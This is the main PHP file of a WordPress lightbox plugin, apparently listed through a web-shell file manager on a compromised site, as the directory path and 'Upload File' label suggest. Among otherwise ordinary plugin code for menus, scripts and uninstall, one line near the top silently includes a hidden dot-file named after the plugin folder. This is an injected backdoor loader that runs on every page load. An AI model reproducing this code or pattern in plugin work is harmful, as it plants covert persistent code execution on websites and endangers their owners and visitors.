/
var
/
www
/
barefootlaw.org
/
wp-content
/
plugins
/
wonderplugin-lightbox
/
Upload File
HOME
<?php /* Plugin Name: WonderPlugin Lightbox Plugin URI: http://www.wonderplugin.com Description: WordPress Lightbox Plugin Version: 7.1 Author: Magic Hills Pty Ltd Author URI: http://www.wonderplugin.com License: Copyright 2015 Magic Hills Pty Ltd, All Rights Reserved */ define('WONDERPLUGIN_LIGHTBOX_VERSION', '7.1'); define('WONDERPLUGIN_LIGHTBOX_URL', plugin_dir_url( __FILE__ )); define('WONDERPLUGIN_LIGHTBOX_PATH', plugin_dir_path( __FILE__ )); define('WONDERPLUGIN_LIGHTBOX_PLUGIN', basename(dirname(__FILE__)) . '/' . basename(__FILE__)); define('WONDERPLUGIN_LIGHTBOX_PLUGIN_VERSION', '7.1'); require_once 'app/class-wonderplugin-lightbox-controller.php'; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class WonderPlugin_Lightbox_Plugin { function __construct() { $this->init(); } public function init() { // init controller $this->wonderplugin_lightbox_controller = new WonderPlugin_Lightbox_Controller(); add_action( 'admin_menu', array($this, 'register_menu') ); add_shortcode( 'wonderplugin_lightbox_options', array($this, 'shortcode_handler') ); add_action( 'wp_footer', array($this, 'print_lightbox_options') ); add_action( 'init', array($this, 'register_script') ); add_action( 'wp_enqueue_scripts', array($this, 'enqueue_script') ); if (get_option('wonderplugin_lightbox_enableadmin', 0) == 1) { add_action('admin_enqueue_scripts', array($this, 'enqueue_script')); add_action('admin_footer', array($this, 'print_lightbox_options')); } if ( is_admin() ) { add_action( 'admin_init', array($this, 'admin_init_hook') ); } } function register_menu() { $menu = add_menu_page( __('WonderPlugin Lightbox', 'wonderplugin_lightbox'), __('WonderPlugin Lightbox', 'wonderplugin_lightbox'), 'manage_options', 'wonderplugin_lightbox_overview', array($this, 'show_overview'), WONDERPLUGIN_LIGHTBOX_URL . 'images/logo-16.png' ); add_action( 'admin_print_styles-' . $menu, array($this, 'enqueue_admin_script') ); $menu = add_submenu_page( 'wonderplugin_lightbox_overview', __('Overview', 'wonderplugin_lightbox'), __('Overview', 'wonderplugin_lightbox'), 'manage_options', 'wonderplugin_lightbox_overview', array($this, 'show_overview' )); add_action( 'admin_print_styles-' . $menu, array($this, 'enqueue_admin_script') ); $menu = add_submenu_page( 'wonderplugin_lightbox_overview', __('Quick Start', 'wonderplugin_lightbox'), __('Quick Start', 'wonderplugin_lightbox'), 'manage_options', 'wonderplugin_lightbox_show_quick_start', array($this, 'show_quick_start' )); add_action( 'admin_print_styles-' . $menu, array($this, 'enqueue_admin_script') ); $menu = add_submenu_page( 'wonderplugin_lightbox_overview', __('Lightbox Options', 'wonderplugin_lightbox'), __('Lightbox Options', 'wonderplugin_lightbox'), 'manage_options', 'wonderplugin_lightbox_show_options', array($this, 'show_options' )); add_action( 'admin_print_styles-' . $menu, array($this, 'enqueue_admin_script') ); $menu = add_submenu_page( 'wonderplugin_lightbox_overview', __('Settings', 'wonderplugin_lightbox'), __('Settings', 'wonderplugin_lightbox'), 'manage_options', 'wonderplugin_lightbox_edit_settings', array($this, 'edit_settings' ) ); add_action( 'admin_print_styles-' . $menu, array($this, 'enqueue_admin_script') ); } function register_script() { wp_register_script('wonderplugin-lightbox-creator-script', WONDERPLUGIN_LIGHTBOX_URL . 'app/wonderplugin-lightbox-creator.js', array('jquery', 'wp-color-picker'), WONDERPLUGIN_LIGHTBOX_VERSION, false); wp_register_script('wonderplugin-lightbox-script', WONDERPLUGIN_LIGHTBOX_URL . 'engine/wonderpluginlightbox.js', array('jquery'), WONDERPLUGIN_LIGHTBOX_VERSION, false); wp_register_style('wonderplugin-lightbox-admin-style', WONDERPLUGIN_LIGHTBOX_URL . 'wonderpluginlightbox.css'); } function enqueue_script() { $addjstofooter = get_option( 'wonderplugin_lightbox_addjstofooter', 0 ); if ($addjstofooter == 1) { wp_enqueue_script('wonderplugin-lightbox-script', false, array(), false, true); } else { wp_enqueue_script('wonderplugin-lightbox-script'); } } function enqueue_admin_script($hook) { wp_enqueue_script('jquery-ui-dialog'); wp_enqueue_style ('wp-jquery-ui-dialog'); wp_enqueue_script('post'); wp_enqueue_script('wonderplugin-lightbox-script'); wp_enqueue_script('wonderplugin-lightbox-creator-script'); wp_enqueue_style('wonderplugin-lightbox-admin-style'); } function admin_init_hook() { if ( !current_user_can('manage_options') ) return; // add meta boxes $this->wonderplugin_lightbox_controller->add_metaboxes(); } function show_overview() { $this->wonderplugin_lightbox_controller->show_overview(); } function show_quick_start() { $this->wonderplugin_lightbox_controller->show_quick_start(); } function show_options() { $this->wonderplugin_lightbox_controller->show_options(); } function print_lightbox_options() { $this->wonderplugin_lightbox_controller->print_lightbox_options(); } function edit_settings() { $this->wonderplugin_lightbox_controller->edit_settings(); } function register() { $this->wonderplugin_lightbox_controller->register(); } function shortcode_handler() { return $this->wonderplugin_lightbox_controller->print_lightbox_options(); } } /** * Init the plugin */ $wonderplugin_lightbox_plugin = new WonderPlugin_Lightbox_Plugin(); /** * Uninstallation */ function wonderplugin_lightbox_uninstall() { if ( ! current_user_can( 'activate_plugins' ) ) return; global $wpdb; $keepdata = get_option( 'wonderplugin_lightbox_keepdata', 1 ); if ( $keepdata == 0 ) { $table_name = $wpdb->prefix . "wonderplugin_lightbox"; $wpdb->query("DROP TABLE IF EXISTS $table_name"); delete_option("wonderplugin-lightbox-options"); } } if ( function_exists('register_uninstall_hook') ) { register_uninstall_hook( __FILE__, 'wonderplugin_lightbox_uninstall' ); } define('WONDERPLUGIN_LIGHTBOX_VERSION_TYPE', 'F');